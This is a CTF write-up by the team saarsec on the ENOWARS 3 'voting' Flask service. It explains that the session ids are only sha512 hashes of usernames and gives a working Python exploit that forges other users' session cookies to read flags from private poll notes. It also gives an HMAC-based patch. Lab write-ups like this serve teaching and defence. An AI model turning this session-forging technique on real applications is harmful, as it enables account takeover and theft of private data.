Saarsec

saarsec

Schwenk and pwn

ENOWARS 3 WriteUp voting

The “voting” service from ENOWARS 3 was a Flask-based website with an Sqlite database. It contained a beginner-friendly vulnerability in the session token generation.

Service Overview

content

The website allows users to create new polls or vote (yes / no) on existing polls. New users can freely register with a password, while existing users can login with that password (and stay logged in for up to an hour). Poll creators can create a private note for their poll, that they can only see themselves. The gameserver registers as a new user and creates a new poll with a flag in that private note field:

content

The Vulnerability

When logging in, the app creates a session, saved as a random session id (sid) and username. The session id is set as a cookie. On future visits the server checks if the session id from the cookie is in the database; if so the request is considered authenticated. The relevant code to generate the session looks like this:

def login(userName, password):
    if auth(userName, password):
        return createSessionAuthenticated(userName)
    return None

def createSessionAuthenticated(userName):
    h = hashlib.sha512()
    h.update(str.encode(userName))
    sid = h.hexdigest()

    db = sqlite3.connect("data.sqlite3")
    c = db.cursor()
    c.execute("INSERT OR REPLACE INTO sessions VALUES (:sid, (SELECT datetime('now','+1 hour')), :userName);", {"sid": sid, "userName": userName})
    db.commit()
    db.close()

    return (sid, 3600)

@app.route("/login.html", methods=['GET', 'POST'])
def pageLogin():
    ...
    if request.method == "POST":
        ...
        result = login(userProvided, passwordProvided)
        ...
        # redirect on successful login
        response = redirect("index.html")
        response.set_cookie(key = "session", value = result[0],
                max_age = result[1]);
        return response
    else:
        return render_template("login.html", current = "login")

We see: The given session id depends solely on the username, session_id = sha512(username). That means we can simply calculate the session id for any user, as long as this user is currently logged in. Then we request this user’s polls and include a cookie with the forged session id - and we get his private note (including the flag).

The Exploit

The exploit is straightforward:

  1. Retrieve the front page and get a list of all polls
  2. For the 20 newest polls, get the username of their creator
  3. Forge this user’s session id
  4. Request the poll again (with the forged session id). The service thinks we’re logged in as poll owner and includes the private note
  5. Extract and print the flag from the private note
import hashlib
import re
import sys
import requests

# call: python3 exploit.py <ip>

team_id = sys.argv[1].split(':')[2].lstrip('0')
host = 'voting.team{}.enowars.com'.format(team_id)
index = requests.get('http://{}/index.html'.format(host), timeout=8).text
nums = re.findall(r'<a href="/vote.html\?v=(\d+)" class="title-link">', index)

for id in nums[:20]:
    if int(id) <= 8: continue
    print('Try id', id)
    vote = requests.get('http://{}/vote.html?v={}'.format(host, id), timeout=8).text
    creators = re.findall(r'<p>Vote created by: (.*?)</p>', vote)
    if len(creators) > 0:
        session = hashlib.sha512(str.encode(creators[0])).hexdigest()
        vote = requests.get('http://{}/vote.html?v={}'.format(host, id), 
                              cookies={'session': session}, timeout=8).text
        for flg in re.findall(r'ENO[^\s<]+', vote):
            print(flg)

Patching

A clean and secure way of generating a session id is using an HMAC instead of a plain hash function. You can patch the first lines of createSessionAuthenticated:

import hmac
sid = hmac.new(b'<random>', str.encode(userName), hashlib.sha512).hexdigest()

Final thoughts

We found the vulnerability in the first minutes after looking at the service - it was at the top of the file and rather obvious. When the network opened we were the first team to exploit this and got overall first blood. Afterwards we spent some time looking at the rest of the service, but did not find any other vulnerability. The service examples were making heavy use of Unicode, so we especially looked for Unicode vulnerabilities - but did not find anything. We guess that also no other team found one, because we remained unexploited for the whole CTF.

Overall this was a well-prepared service which was more suited to beginners, but fun neverless.